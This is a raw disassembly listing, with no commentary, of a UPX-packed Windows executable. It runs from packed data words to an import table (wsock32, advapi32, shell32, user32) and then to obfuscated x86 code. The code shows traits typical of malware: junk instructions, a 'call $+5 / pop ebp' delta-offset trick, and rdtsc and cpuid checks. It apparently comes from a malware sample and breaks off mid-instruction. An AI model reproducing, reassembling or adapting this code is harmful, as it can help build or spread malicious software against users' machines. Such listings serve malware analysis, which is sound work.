9A3ED90Eh dd 8CF32CB3h, 9FB19C41h, 0A73848B0h, 8EF2987Eh, 52F3F5CFh dd 0EDEB765Dh, 0DF9E9EACh, 0B0CEA5EFh, 904C11BFh, 0E6B4C497h dd 96CAD908h, 0DF90DF24h, 0D3AE7001h, 8E8E319Fh, 0AC99CA99h dd 906BE86Ah, 0C1932F9Bh, 0B8A847C5h, 0EBAFA5ABh, 0BC239D90h dd 9D5C46C8h, 0FBA88AC3h, 0BABD7596h, 0CCB46F97h, 0E2F4E776h dd 0CB8D33F9h, 4857A36Ch, 37E39007h, 96338BCDh, 0F5D04D0Bh dd 0E58B03E1h, 8BA2F4F9h, 4CBDE7E0h, 0B59E707Dh, 0F39031CDh dd 0F5F4F6FBh, 0D52FDBFEh, 0F6BA79ABh, 0F1F3F7F6h, 6D6A87B3h dd 0F590B04Fh, 0F6F4F5FBh, 0BBF9F5F5h, 0BBB1B392h, 2DD34817h dd 0FDE34F35h, 0E3A8B5F2h dd 81C8A440h, 14E4FE9h, 4EE0B2B0h, 2B5FA34Fh, 0FB21E469h dd 0FFE2E090h, 0FDF1E2F7h, 809E8190h, 4E5C3868h, 0FEF1FC9Fh dd 7A5B5FDh, 385F17B0h, 0DBB7E752h, 4A86F7D7h, 0ADDB6F6Ah dd 0D1819E83h, 82F7FDFEh, 71D538E8h, 82AB0F42h, 0E4FEA59Dh dd 90FDFC90h, 0BBA78280h, 9BC4289h, 0B398B1C3h, 0C56F7DB9h dd 0DD67A570h, 856F4FBCh, 31986F4Fh, 0ECAFEDB1h, 0CE30B060h dd 0B6E9D0B0h, 4F874FB6h, 0B1B69B4Fh, 10B2B5B5h, 10FD80FFh dd 0B6BC80BEh, 32B1B4BAh, 0BAB2B287h, 89B48B12h, 0C7BBF7D7h dd 0C7F16B6Dh, 0E8C8B2B1h, 0B0B85C95h, 0A03CB2B9h, 4F4CDCB2h dd 50C80CFh, 0DCE0E5FFh, 0D6C8E0E1h, 0E1E3F982h, 81E6F5D7h dd 0FFFBF7D2h, 5A362D50h, 895181B9h, 93D2D031h, 0B1CF4C85h dd 0D416F9BDh, 6D1F9092h, 624F4CA1h, 1C3111B0h, 12193180h dd 31B41631h, 22B3E313h, 1C83EA73h, 0E8BFF0B2h, 19C0B2A2h dd 5C0CA032h, 0BF9004F1h, 4F0312B0h, 5D4F3E3Fh, 0C7388907h dd 5D0EA667h, 0AF071EF2h, 3471DD0Bh, 4E7FB129h, 0B8DB4F4Fh dd 0D50AC801h, 2A63BAF3h, 9936F952h, 0B0FFB0E7h, 0B0FBB0E2h dd 0E5A3BAF7h, 8B7D0BEh, 0E17B43B0h, 4AD6E7BAh, 0DD960E64h dd 0AAE3B0F9h, 0E6B019D7h, 5BBD5132h, 7FAD288h, 0C2B39097h dd 90DB17A1h, 0AC35017Dh, 9EF0B7BDh, 0A4BBB4C7h, 6E875399h dd 20379C46h, 0B490B1C5h, 4B166AB0h, 4FBC1558h, 8FB09401h dd 200EA7B0h, 12D6D721h, 0B4C8B8B7h, 47CCC5E0h, 0C79DF0B7h dd 0A6EC6E6Eh, 0E3B49107h, 0B2B12F42h, 0BC2FC9B1h, 0A326F33Ah dd 0DF0FD40Ch, 68F06CB0h, 0BBB0C773h, 8F8BA2D5h, 0AC25047Ah dd 0BE679FFEh, 72244B0Bh, 12B8B423h, 0DD42CFDEh, 0B0B5BF33h dd 7FA1B3BBh, 4FA660B2h, 0B83320CFh, 839334BBh, 25B8AF03h dd 80FA9CBEh, 47B8739Ch, 0B7530F47h, 0B42AB133h, 5B3A38EDh dd 2FA179ACh, 0A09B2B58h, 34C4D0F8h, 0B1074F4Ch, 0AEBE0EE6h dd 91D1E417h, 0EAB42150h, 32569354h, 4F0BB260h, 59B283CFh dd 57CFFF6Fh, 15FDDB9Bh, 338C1A64h, 9A11B3A5h, 7D4F4EE7h dd 0E01DB3B1h, 9A9682Ah, 29AC43ECh, 0AE1DE3F1h, 500FC5D0h dd 0E784AD30h, 9127EEB4h, 2EF02FCEh, 4F54912Bh, 5B670E79h dd 87410014h, 0B5B5254Eh, 2B4784Dh, 3BE24F4Ch, 8AC47C35h dd 5099A53Bh, 0A61C7D80h, 4F4EF2B1h, 6EEBB67Dh, 95512A7Bh dd 0A0AFC233h, 57221213h, 4F78C686h, 0C4B7890Fh, 0B9707D44h dd 0E43CF9Dh, 0BC85C308h, 49D8E2B6h, 0B8F7DF4Fh, 95DC551Eh dd 0AB3A515Ah, 0E6A7FA72h, 735E9938h, 0F4FB1B6h, 0EEB9B8D0h dd 0CDC0E096h, 1F3238FDh, 0AD268DCBh, 0B54F5B5Ah, 2AA778F7h dd 0FF78B6BAh, 0A6C0FB82h, 77A2B163h, 0C84F91BBh, 0DE0FF7EAh dd 0B0B33851h, 955E368Bh, 0BA9E79B3h, 35B30B30h, 3E8D1DACh dd 624BB7F7h, 0CFC62BCh, 40B00C0Ch, 0C82BEBFh, 0AF36B214h dd 0AF10C9B0h, 0BB400924h, 0E9BEF505h, 4F45FCB0h, 75E50ADFh dd 0E5F69CBEh, 0F5FCFDDEh, 0CAFED4C6h, 4E1FDEDAh, 0E8C44F6Fh dd 0C6F1DECAh, 0F4E3FFD3h, 0E5DCE5B9h, 0FAF6FCFCh, 0DD89F3DDh dd 4F474FDAh, 0E8D5D74Fh, 0F3F4D2C0h, 0DAC4F1F9h, 0E0E2E4F4h dd 0E8C9C8F1h, 0D6F3E9F9h, 0DAC6C8F4h, 53AEE8E2h, 0E7C44F4Fh dd 0F3F1C9E3h, 0C2E0D3C1h, 0D5F8E7CAh, 0D6FBE5D1h, 0C5F58BC2h dd 4F30CF4Fh, 0CAE5EA9Bh, 73D2CAE0h, 88F6F219h, 95D7A565h dd 0F709182Bh, 4F4F4F27h, 22018F4Fh, 264CB3CBh, 3DB4B5D6h dd 42F2106h, 0AD9C4D80h, 300FAF1h, 490884F8h, 8145FEFFh dd 0CF4F4F79h, 1D593340h, 0EE707E58h, 92BEC631h, 3327240Bh dd 44524C5Eh, 0D570CF13h, 4FA5F46Dh, 0C34F5F4Fh, 0D8DBF462h dd 6ACF616Eh, 6DBFF27Ah, 0B64BAF6Bh, 0AE62AF2Fh, 0EA225880h dd 0DDACCB0Ah, 4F4F4F4Fh, 0B278AF13h, 196ECF0Ah, 7C26AF3Fh dd 3EBEE43Ah, 9553E48Fh, 932AEECAh, 0A9D3CFC9h, 0E70F005Fh dd 0C0F4F41h, 41B68FEEh, 0AC6F0719h, 0CC2517CDh, 0AEAF2791h dd 46382FFEh, 4F4F4F4Fh, 1943FF33h, 0D2AC1448h, 8E57AF07h dd 9A67AFA6h, 0DCA94C55h, 6D77C805h, 0F47442DDh, 4F4F1763h dd 0FA154F4Fh, 0CD15577Ch, 0FAF7DB5Fh, 0A9DBC9C0h, 0CDF1DB5Bh dd 1341C182h, 0C7252CE6h, 42D82661h, 5F4FFD63h, 672E4F4Eh dd 44D873A6h, 0C1747758h, 0D1746758h, 35D7FF58h, 0AD58F47Bh dd 806307C6h, 5D4F4D4Ch, 86CCE23Dh, 0C7763461h, 364FF4F4h dd 0C5CE0AA6h, 0A674F2F4h, 6EA24277h, 6E4F6D0Bh, 715FC677h dd 0C04C9837h, 705DCDEBh, 4E6DA66Fh, 0B74FCF43h, 4A474F4Fh dd 774EEE1Bh, 0AEE822CBh, 0AE606175h, 38D42770h, 6C0A66F5h dd 4BB40849h, 1F4F4CAFh, 398C1C71h, 6C554CA0h, 0E7D832B8h dd 5CC9A74Fh, 5AC37676h, 0B7B7264Eh, 714F5FBFh, 4CDB6D76h dd 0EA0E4B8Ah, 874E3F74h, 0C019BF3Ch, 5C4B6B55h, 6F56A4D8h dd 7D6EC0F7h, 0C147C4C5h, 5C77B30Fh, 9E5B1072h, 4FF1BBB2h dd 6B5311A8h, 3FD86F8h, 0E1D6EF7h, 484F4F5Fh, 706E0A4Fh dd 0E4F9E06Eh, 4A5D4EF8h, 0E5B7F97Eh, 0F5E4E5FFh, 0FBE7E5E0h dd 0FE7FDE8h, 0E84F4F4Fh, 0FDF8F7E5h, 0F3FBF5F9h, 0F2FEF5E9h dd 0FCE0E1F1h, 0FEF4F5EAh, 0F7F2FFFFh, 8D030A85h, 4F4F3F70h dd 48AB6535h, 0FDD25BFAh, 0E7E4F3EAh, 0E7E9F8FCh, 0B12A7EF9h dd 0D3D6B161h, 6EECBF8Dh, 2C357BA0h, 6FEBECBAh, 874C90B1h dd 0B8B782B5h, 0E6E2E377h, 0C7F3E6E3h, 5908AB1Bh, 0E658807Bh dd 47E07339h, 0D84E3F4Fh, 5CBEFE3Eh, 7948EF58h, 0DEDF09D6h dd 0C2C5D8E1h, 4FE4DDDCh, 0F0CF8360h, 0AA864C3Ah, 0F558C09Fh dd 3DE68793h, 474FB1A5h, 0E1E6BCC7h, 28D8E381h, 58BE3A4Eh dd 40E7A49Ch, 0AC4CEB86h, 6B9DF900h, 8EF9FF05h, 11D4E6E5h dd 38F58B4Ch, 0ACC0E654h, 0B8D83B1Dh, 0F5995839h, 7279949Ch dd 0B80C913Fh, 3B8CB1F7h, 4E4F4F4Fh, 0B1C8B5E4h, 0A7FA3B5Ah dd 5BB190EAh, 3BF98553h, 5EB13B84h, 814C4F81h, 50881C70h dd 4D5547C4h, 7F71B74Fh, 5B77B1BDh, 94CC8B42h, 0F751C5A4h dd 0BC3BD694h, 0AB53A1FBh, 3BAC27CCh, 5958E3B4h, 5A39E714h dd 0F14A5BD2h, 0CB805856h, 217217B7h, 0AFAC003Fh, 0D17DB4B8h dd 0C90F7FA3h, 0AEB6BDC7h, 384797B2h, 39A652DFh, 2C6BB3DFh dd 48B786ECh, 2EB4A772h, 9E5FE7A2h, 0AEB60B74h, 0F9160B5h dd 0B6AEB6C1h, 86E7C6B2h, 0AEB689D9h, 762576B1h, 9F8A6010h dd 35AB309Fh, 9FD91C65h, 0BA89C805h, 5F109DB6h, 1912589Fh dd 39ECB1BDh, 0C722B4BCh, 0D6F8F384h, 257092C3h, 0AC4F26D7h dd 55AF51F5h, 0C06F9E74h, 0D2DDC3C9h, 382D4976h, 0D1D1E397h dd 0D49A90D1h, 53D333D8h, 80AF9385h, 94DBF251h, 0E3906392h dd 9D926BA1h, 0AA9BEECBh, 19B646A8h, 0E79A819Eh, 0D90DD3CBh dd 0CB69E090h, 4681979Ah, 9A00D982h, 837CD70Fh, 60475039h dd 0C6C39F20h, 9ED3B5C2h, 0C04C3DD3h, 0B10D1F3Ah, 0F0A26A89h dd 664631DDh, 0C3DD853Bh, 75E2C529h, 29B05F96h, 0B19BC7B5h dd 860684EAh, 0E3AFB5A1h, 9FB035B0h, 9264D49Ah, 0C2ABB6D8h dd 7121A69Fh, 0C989BC8h, 0A3B61325h, 7F99FD44h, 0F7236D02h dd 0D137D8E0h, 0C5D6D1C4h, 0B4E6B4DDh, 0D6DF6CE5h, 0B1F630D0h dd 0A3FE67AFh, 0D09DDE64h, 8ADFE37Ah, 0DBDDB190h, 0D2C5917Fh dd 20D5AF9Dh, 1F6102B8h, 8CB00440h, 903B2FBAh, 55B0C4C5h dd 7B2EFEA4h, 0DD102851h, 48B12BF0h, 0AB8A26B4h, 0C44800A6h dd 5B113EBEh, 0DF859DE7h dd 11AC9DAEh, 7F893212h, 88FAAC97h, 49F3B25Bh, 0FF4D39AFh dd 0BD2AEB35h, 4FBEC330h, 9F4952F3h, 45A3332h, 0FBBC9A01h dd 605AE0D1h, 0D9F1F2EAh, 77B7EBD6h, 9CBAEF2Ah, 0EC2EECh dd 0C90ADD10h, 0D986058Dh, 0B0958DFCh, 783850Dh, 0F82D53E2h dd 0EC7D6348h, 0FCF5F8E3h, 849C4BFCh, 5128A831h, 8D31D1E3h dd 8E511AE4h, 23DCEEADh, 0D5CB66C2h, 9CF8ADC7h, 0C3421CABh dd 1241FB7Fh, 0B3BA72F7h, 0B78DD473h, 9B32AB02h, 0DFEDDFEBh dd 88BD5035h, 0DD95965Ch, 9EEB8FD5h, 0D7BAA8FBh, 0CF1386D2h dd 0E63C2B1Ch, 3FE3FCF3h, 858486CBh, 45D1F6F6h, 804F4B5Ah dd 8880859Dh, 80819D81h, 899DF281h, 0CB9D88AFh, 0B800F1F1h dd 0F6978F40h, 0F5848589h, 0AEAA2BCDh, 0DBE12772h, 0BD9FE21h dd 0AF7D4D4Fh, 869DDDE3h, 82B9829Dh, 84848384h, 20238687h dd 8B4F2AE7h, 8189B11Fh, 9D878389h, 75838086h, 0D3140C8h dd 3F83F781h, 0E9F3F5E2h, 0A1E2F5BBh, 3F7339F5h, 25E3D6BAh dd 9D8E8840h, 0C7EE8A8Ch, 0EB3FC605h, 0B40FC181h, 0F594D94Fh dd 86C8D876h, 0B1DC769Dh, 36AD5920h, 0C03170CBh, 0E5A25F2Bh dd 0B0CC84C5h, 0EDD6D2EDh, 5B8827C9h, 4DC2C0AFh, 0E0E4E4F8h dd 1A71DD9Fh, 9032B773h, 35E3FBFFh, 0B0AD7481h, 97AEC071h dd 0BBC64E91h, 0AF9D922Fh, 9DDFDE9Fh, 36C1C8D3h, 0A09C9246h dd 0D3A15EC3h, 0B059DC8h, 8D39BF0Bh, 0A1D9E780h, 9EA4F9ADh dd 0DECA03B1h, 0C7339DC7h, 0D6AE945Dh, 0D7B9FC93h, 0E2ADCC01h dd 0B2D996D9h, 0D1E295C0h, 9C7DB8Bh, 0C9D2C3D5h, 4EF4E2F3h dd 0A1A4B4D6h, 0FDF75393h, 0D29D5CCDh, 339558F7h, 964B835Ah dd 0DB55F2B6h, 0D9C197C3h, 9D4FA296h, 0A70B30E0h, 5FB3951Ch dd 0AFAA4A88h, 96E4F5F7h, 8D8AF8F8h, 0A576F8Ah, 7ED48FA2h dd 0B1FD90B7h, 94E3C990h, 0A9BF8295h, 0F2A21A9Fh, 8C18DF3Ah dd 0FA1ADDCEh, 0B1E32936h, 33BA103Ah, 0F8E0F149h, 0BA3098B2h dd 0A5B0E0D4h, 9AB011F8h, 0E4B1F220h, 18B23490h, 0E0B5B9F0h dd 10BAA231h, 0F0A494B2h, 3098F8B5h, 0B0E020BAh, 0B01190A5h dd 0B1F2F09Ah, 0B23431E4h, 0B5B9B218h, 0BAA2B5E0h, 0A494BA10h dd 98F8A5F0h, 0E0209A30h, 1190E4B0h, 0F2F018B0h, 3431E0B1h dd 0B9B210B2h, 0A2B5F0B5h, 94BA30BAh, 0F8A5B0A4h, 209AB098h dd 90E4B1E0h, 0F018B211h, 31E0B5F2h, 0B210BA34h, 0B5F0A4B9h dd 0BA3098A2h, 0A5B0E094h, 9AB011F8h, 0E4B1F220h, 18B23490h dd 0E0B5B9F0h, 10BAA231h, 0F0A494B2h, 3098F8B5h, 0B0E020BAh dd 0B01191A5h, 0B170729Ah, 8FD474B4h, 8823B749h, 0B1B0B714h dd 0D5CAD9E3h, 2098A8A9h, 0D0F6C0B9h, 0E891EB90h, 21AFF1C4h dd 0B03D0FCh, 6A7072A6h, 0D9E49187h, 0A891F1DDh, 0B15DBA88h dd 0F48080F2h, 0D66EB1E9h, 0B11B395Fh, 0D383C3DCh, 0E043E3C7h dd 6BCB31DFh, 34AFCEB4h, 0FD327D31h, 3E460CB9h, 0F2C90F32h dd 0A6F380F5h, 71249CBCh, 0D16D6A20h, 0FDFCB111h, 6A089B2Bh dd 9DCA80FBh, 987660F9h, 9385E3A3h, 0F14D7071h, 0C0E3D4DEh dd 0B3B4AE43h, 0D861B555h, 0BCA295DFh, 5107A838h, 946EBD6Dh dd 0E5ABC64Fh, 6AE6F5ADh, 0BB6E500Bh, 0DF75D23Dh, 2CDFA9E0h dd 0A3A250C9h, 0DC925DB6h, 95D027BBh, 3701F99Fh, 976490D0h dd 4B8EBC80h, 0C3DFDFF2h, 0C9C05162h, 0B4B6A55Ch, 0D5DC43B7h dd 0FC80C3DEh, 16A2CB90h, 0D11CE45Fh, 0FDA5F105h, 37C6068Ch dd 83A90848h, 8C8DC4F1h, 0D25286ACh, 0E456B5C5h, 68A0DDDDh dd 2A3773B2h, 81F2919Dh, 0DD99F27Bh, 0D003D55Bh, 61B6F3E0h dd 2E4B9100h, 2DFCDB90h, 749D1C2h, 0F2B6F3C0h, 27D9D3DBh dd 4BA4D06Ah, 40D1ED24h, 0C8F55135h, 0C0A689D9h, 0DEBA03D1h dd 0FB1B31ADh, 5BF08BD6h, 0E7DCEB98h, 8CE37AD1h, 0BA696BDCh dd 0EB98CD72h, 41DD9C1Fh, 0DDD5A1F5h, 7DCBEEC0h, 0D32700A8h dd 80D98775h, 0F1711241h, 0DBD3CB6Fh, 0F2B6F883h, 6FB1B557h dd 5BB3B53Ah, 2D9E6A9h, 68F498F1h, 0D1D3EBA5h, 864E7BD0h dd 0C2D4D4F1h, 3A5E618Fh, 6D6395DDh, 0ABA7F6C9h, 9BBBB3B4h dd 0B4313695h, 76D713D9h, 15B4ABB6h, 0A4D137FDh, 8085B6A8h dd 0C3060620h, 0E8A8F13Dh, 5413020h, 906B00A8h, 0F9ACE15Fh dd 81F9F165h, 7BB80A61h, 0FC313476h, 0C7699D13h, 0CC6E7D2Bh dd 0FDEFEF15h, 72D5DEEFh, 7536D64Ch, 96B24DA9h, 0D3E8EFABh dd 164B81C0h, 0D69514EAh, 96DBD5C7h, 80EE29E5h, 0D653C477h dd 6D9EFD7h, 1FC927EEh, 0C32EDDFCh, 0D89AC561h, 0F0CDC293h dd 0B8D1D8A8h, 26D4D6EFh, 45EB6CB9h, 0ABB5C08Eh, 0F0D0C6ABh dd 0D6ABD535h, 6CBCC2A7h, 0C0E98D63h, 0AEC0F393h, 0B69E98A8h dd 5F82D651h, 0C4DC98EDh, 2F968901h, 7FEC6EA3h, 0A0DD4B5Ch dd 38DE9182h, 0DDC7DC85h, 6E7F69FFh, 0DEC0C3F4h, 0E5DBD5A1h dd 8BC85BB3h, 0C3C6F263h, 0C47AC0DEh, 0B2DD8B20h, 8675FD03h dd 0C5D5215Ah, 0C831BCFh, 0AAC8C226h, 8F8F9B96h, 0BBABF082h dd 0F1E94F83h, 0F9E8F1E0h, 2389EAF0h, 0DD0B54EFh, 76C3DB30h dd 62C2D8BEh, 0A1EAE8A6h, 0F3FFB4h, 0C0BC8032h, 86B49577h dd 9F45DE9Ch, 9C8C4DA7h, 0EF3E7AC6h, 833534D8h, 673724AAh dd 0F2DC79D6h, 0E848C3D7h, 0C2CA1AC0h, 0C0BF53E3h, 903B136h dd 16385929h, 0ACB854BCh, 0DD88A5F5h, 453F8058h, 70700CE2h dd 0B189A89Dh, 72B29B0Ch, 40EFB12Bh, 6B7B9C02h, 27B5BC4Fh dd 7BA3A0B1h, 0DF7B9C02h, 0A1A284A7h, 27B9CC3h, 0B9B3A69Ch dd 9C02B2A5h, 0B5BD027Bh, 78BABB83h, 0A476174Fh, 0B0F5E087h dd 0B5B1FCB0h, 9D0983B0h, 6EDD2DF9h, 0BFB0508Fh, 0B6B1BBB1h dd 0B65878A9h, 68759A97h, 8817CBC2h, 0A7F0AAA0h, 0C6D7B4B2h dd 0BFEBDC3Fh, 70B740A8h, 0D98CB1E1h, 5CABFBC2h, 0EFBDBFA0h dd 58AF2000h, 60DB3C76h, 0A188B0B7h, 196F91ECh, 0CCDF04B8h dd 0B8D09EB3h, 0C4F1B706h, 917743BEh, 0DEEEB678h, 90B53933h dd 33C29ED0h, 21B88304h, 50F6B2B4h, 5DD5497Ch, 0B4F0FFD2h dd 0D4FFFD9Eh, 0FACBB607h, 0F840D62Ah, 0D99E7060h, 955679E1h dd 47A0ACC8h, 0B1A8A2FFh, 0E8047F2Dh, 0BE3FAA5Dh, 222887A8h dd 9AAAFE16h, 948797F2h, 346F72F9h, 56DBB707h, 30B0B0B7h dd 0B04F22FAh, 2 dup(0B0B0B0B0h), 10B00ED0h, 0E3DB0F7h dd 4F48C0B0h, 4F7D33E7h, 2020A05Bh, 20202020h, 38F6B63Ah dd 6BB1F7B7h, 0AE3BB7C5h, 0A14C5E33h, 85DC26Bh, 0B0B0B0B1h dd 0B7C56BB1h, 5E33AE3Bh, 0A16BA14Ch, 0C36BB170h, 3BA9C5BBh dd 4C5E33AEh, 0A0C26BA1h, 0C56BB1F8h, 33AE3BB7h, 6BA14C5Eh dd 645B70A1h, 58337981h, 71A1C2B3h, 0B63AB850h, 4F4033F6h dd 4861C8C4h, 0BB5B7539h, 0B7C56BB1h, 5E33AE3Bh, 0A16BA14Ch dd 0C56BB179h, 33AE3BB7h, 6BA14C5Eh, 90C579A1h, 0C56BB1F1h dd 33AE3BB7h, 6BA14C5Eh, 6BB179A1h, 0B9C55FC3h, 5E33AE3Bh dd 0C36BA14Ch, 0B2713354h, 4BB04D31h, 61334F4Fh, 9FA43DB1h dd 0C64C4D33h, 0F2B23ABFh, 0F9F7B738h, 0FF5947C5h, 204F4F4Fh dd 7233B23Bh, 33B739B4h, 5933B477h, 0B141C7B4h, 4F88597Fh dd 39EE4F4Fh, 0B2650947h, 0B73AB0B0h, 8C589CF7h, 3047C7B1h dd 42C5B68Fh, 0EF3AB73Bh, 5871D6B4h, 0A07071B8h, 48997436h dd 0B1585B30h, 33B73940h, 6839B577h, 0E3D6952h, 0B0B750B0h dd 70B9B73Bh, 0EF3BF5C4h, 80343DB4h, 0B0B890B4h, 33E043B1h dd 264FB877h, 0B0B8903Ch, 0F7B73A25h, 6CC470B8h, 0B7C94939h dd 0F7B707BFh, 0E709F7E0h, 0E51E42F8h dd 9020264Fh, 70B9B0B8h, 0B339B7C4h, 5BB47333h, 24264F68h dd 0D1B0B890h, 4805B959h, 87F4E24Fh, 0CC927CA1h, 9A3D9482h dd 68D03837h, 0FC15F83Ah, 2E9B5C28h, 4268654Ch, 0D06C1BFFh dd 0BF00CEC5h, 5AD3EAA8h, 164A4959h, 4C487244h, 31F44188h dd 27D68C87h, 0D0CBAA34h, 437514C5h, 0DD5F5EADh, 7A6A60C0h dd 1F3DB2ADh, 2242BBF1h, 0DE86BB92h, 0CE65EBFEh, 2E894DF4h dd 51E9EBF1h, 0E6563054h, 70DFD224h, 47B16A95h, 0CA4B04D9h dd 0E7CADCC2h, 5F6D9C3Bh, 571BE11Ah, 0BE539562h, 20EBEBBFh dd 0FC0343C7h, 0C32C61F0h, 0D2BC84AFh, 5646A2A7h, 1B8DF2A9h dd 0C9DFB39Fh, 0C4828129h, 390E7E6h, 0DEFFAEC7h, 11215F3Bh dd 0DA269976h, 0A249F427h, 6DCBDFD8h, 0B98CCA30h, 4E4C2D55h dd 0D4DC6CD6h, 62FD88C7h, 99F2ED75h, 306AEAD7h, 0A34502CEh dd 6A2EE5AAh, 6A006A04h, 0FFFF6800h, 15FFFFFBh, 4830B8h dd 87EC085h, 15FF006Ah, 483094h, 481199A1h, 91053100h dd 31004811h, 48118D05h, 39C93300h, 4811910Dh, 0A1187600h dd 48118Dh, 1199158Ah, 0C1030048h, 3B411030h, 4811910Dh dd 0A1E87200h, 481195h, 11990533h, 0D0FF0048h, 9D3029C3h dd 50693ACh, 770AE026h, 14E17051h, 8B01C1BCh, 0B2CBA4D1h dd 0AF3F3480h, 12BD697Dh, 19DF352Eh, 2EA7FDF6h, 0C8E97E15h dd 83364A0h, 1273065Ch, 0EBC5Fh, 945BB01Fh, 0D38B9127h dd 9BF50027h, 0D3FBB027h, 0F4030027h, 41F2DD51h, 623138E4h dd 551BC957h, 0C541DB6Fh, 2F5DE3A5h, 5F6476F5h, 517C3E21h dd 0C270EEE4h, 68D216DDh, 1B40C57Fh, 3907A864h, 0F0E68099h dd 875FB310h, 1FD6CBCDh, 0D84B1A26h, 98B2ACAFh, 717FFE52h dd 0FD8C8597h, 0FBA3F824h, 7A1DC942h, 34BC67FEh, 1F94CD98h dd 9BFF2761h, 0F9FC1DC1h, 28CBCA70h, 611C6AFEh, 4FD6h dd 77Dh dup(0) UPX1 ends ; Section 3. (virtual address 00083000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 00083000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 483000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 830C8h, 8308Ch, 3 dup(0) dd 830D5h, 8309Ch, 3 dup(0) dd 830E2h, 830A4h, 3 dup(0) dd 830EDh, 830ACh, 3 dup(0) dd 830F9h, 830B4h, 3 dup(0) dd 83104h, 830C0h, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0 dd 77DFD4C9h, 0 dd 77C4AEA3h, 0 dd 7CA24A55h, 0 dd 7E42DE87h, 7E45058Ah, 0 dd 71AB2C69h, 0 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 76646100h, 33697061h dd 6C642E32h, 736D006Ch, 74726376h, 6C6C642Eh, 65687300h dd 32336C6Ch, 6C6C642Eh, 65737500h, 2E323372h, 6C6C64h dd 636F7377h, 2E32336Bh, 6C6C64h, 6F4C0000h, 694C6461h dd 72617262h, 4179h, 74654700h, 636F7250h, 72646441h, 737365h dd 78450000h, 72507469h, 7365636Fh, 73h, 74654700h, 72657355h dd 656D614Eh, 41h, 656D6974h, 53000000h, 61684348h, 4E65676Eh dd 6669746Fh, 79h, 646E6946h, 646E6957h, 41776Fh, 4D000000h dd 61737365h, 6F426567h, 4178h, 1B9Fh dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48A000: ; CODE XREF: sub_48EB00+15Bj adc ch, cl dec ecx sbb cl, al mov cl, dl mov cl, 0E9h mov cl, ah mov [edx+10h], eax or ch, 0CFh retn ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- db 0 byte_48A013 db 0C8h ; CODE XREF: sub_48AFCB:loc_48AFFEp ; --------------------------------------------------------------------------- sub al, cl ; =============== S U B R O U T I N E ======================================= sub_48A016 proc near ; CODE XREF: sub_48EB00+16Bp mov ecx, 4998h jmp loc_48EC93 sub_48A016 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48ED6C loc_48A020: ; CODE XREF: sub_48ED6C+55j cmc mov esi, [edi+eax*4] add esi, ebx mov ecx, 5F803937h lea eax, [ebx+ebx*2] or ah, cl mov al, cl retn 4 ; END OF FUNCTION CHUNK FOR sub_48ED6C ; =============== S U B R O U T I N E ======================================= sub_48A035 proc near ; CODE XREF: sub_48EB00-47p ; sub_48EB00+128p call esi xor ecx, 4 mov ch, 51h sbb ecx, 43617A89h and dh, 0F7h sub ch, bh sub ch, 0ADh xor cl, 0FEh not edx nop lea ecx, [eax] cld not dl xchg eax, edi jmp loc_48EDD0 sub_48A035 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48ED6C loc_48A05B: ; CODE XREF: sub_48ED6C+8Cj lea esi, [ebp-3] not ch or ah, 6Dh nop pop esi push 0FFFFFFFFh lea esi, [ebx+esi] jmp loc_48EB27 ; --------------------------------------------------------------------------- loc_48A06F: ; CODE XREF: sub_48ED6C-8Cj mov edx, 0DEC07AF8h sub ah, 5Ah not dh jnz loc_48ECFD nop sub al, 4Bh xchg dl, ch jz loc_48ED13 jmp loc_48ECFD ; END OF FUNCTION CHUNK FOR sub_48ED6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48A08F: ; CODE XREF: sub_48EB00+A4j jnz loc_48EB37 not ah lea eax, [ebx-93EBE8Bh] mov esi, [edx+24h] dec al sbb ah, dh mov edi, [edx+1Ch] jmp loc_48EDB9 ; --------------------------------------------------------------------------- loc_48A0AC: ; CODE XREF: sub_48EB00+185j push 0C353EAFh sub ecx, ebx lea edx, [eax] clc call sub_48ED6C dec edi not edi or edi, 0FFFFFFAFh inc ecx mov eax, edx cwde test edi, 0D856CFD6h call esi stc sub edx, 0FFFFFF9Ah loc_48A0D1: ; CODE XREF: sub_48EB00+322j or eax, eax jmp loc_48EC3D ; --------------------------------------------------------------------------- loc_48A0D8: ; CODE XREF: sub_48EB00+CBj add ecx, 993EEC9Eh mov esi, esp cpuid shr ebx, 18h nop mov dl, 0E7h cdq lea ecx, [edx+3E8A9F2Ah] btc [ebp+0A3h], ebx jmp loc_48EB80 ; --------------------------------------------------------------------------- loc_48A0FB: ; CODE XREF: sub_48EB00+FFj xchg eax, [esp+4+var_4] sub [esp+4+var_4], eax movzx eax, byte ptr [edi] nop cld nop lea edx, [edx] inc edi jmp loc_48EAC5 ; --------------------------------------------------------------------------- loc_48A10F: ; CODE XREF: sub_48EB00+170j jmp short loc_48A112 ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48A112: ; CODE XREF: sub_48EB00:loc_48A10Fj mov [esp+4+var_4], 27CBBDB3h call sub_48ED6C push esi mov edx, [ebp+0BAh] call $+5 pop ebp lea ecx, [ebp+4B1Eh] sub ebp, 1235120Bh and dword ptr [ebp+12351642h], 0 lea eax, [ebp+123511FFh] and dword ptr [ebp+12351646h], 0 add eax, [eax-4] and dword ptr [ebp+1235164Ah], 0 mov byte ptr [ebp+1235137Dh], 1 pop dword ptr [ebp+12355B6Ch] mov [ebp+12355B74h], eax mov [ebp+12355B70h], edx mov [ebp+12351376h], ecx push edi xor ecx, ecx lea edi, [ebp+1235226Ch] lea esi, [ebp+123521B4h] mov cl, 2Eh call sub_48AFCB rdtsc mov [ebp+12355B7Ch], eax mov [ebp+12355B80h], eax cmp byte ptr [ebp+12351630h], 1 jnz short loc_48A1C8 xor [ebp+12354BB3h], eax push 0 call dword ptr 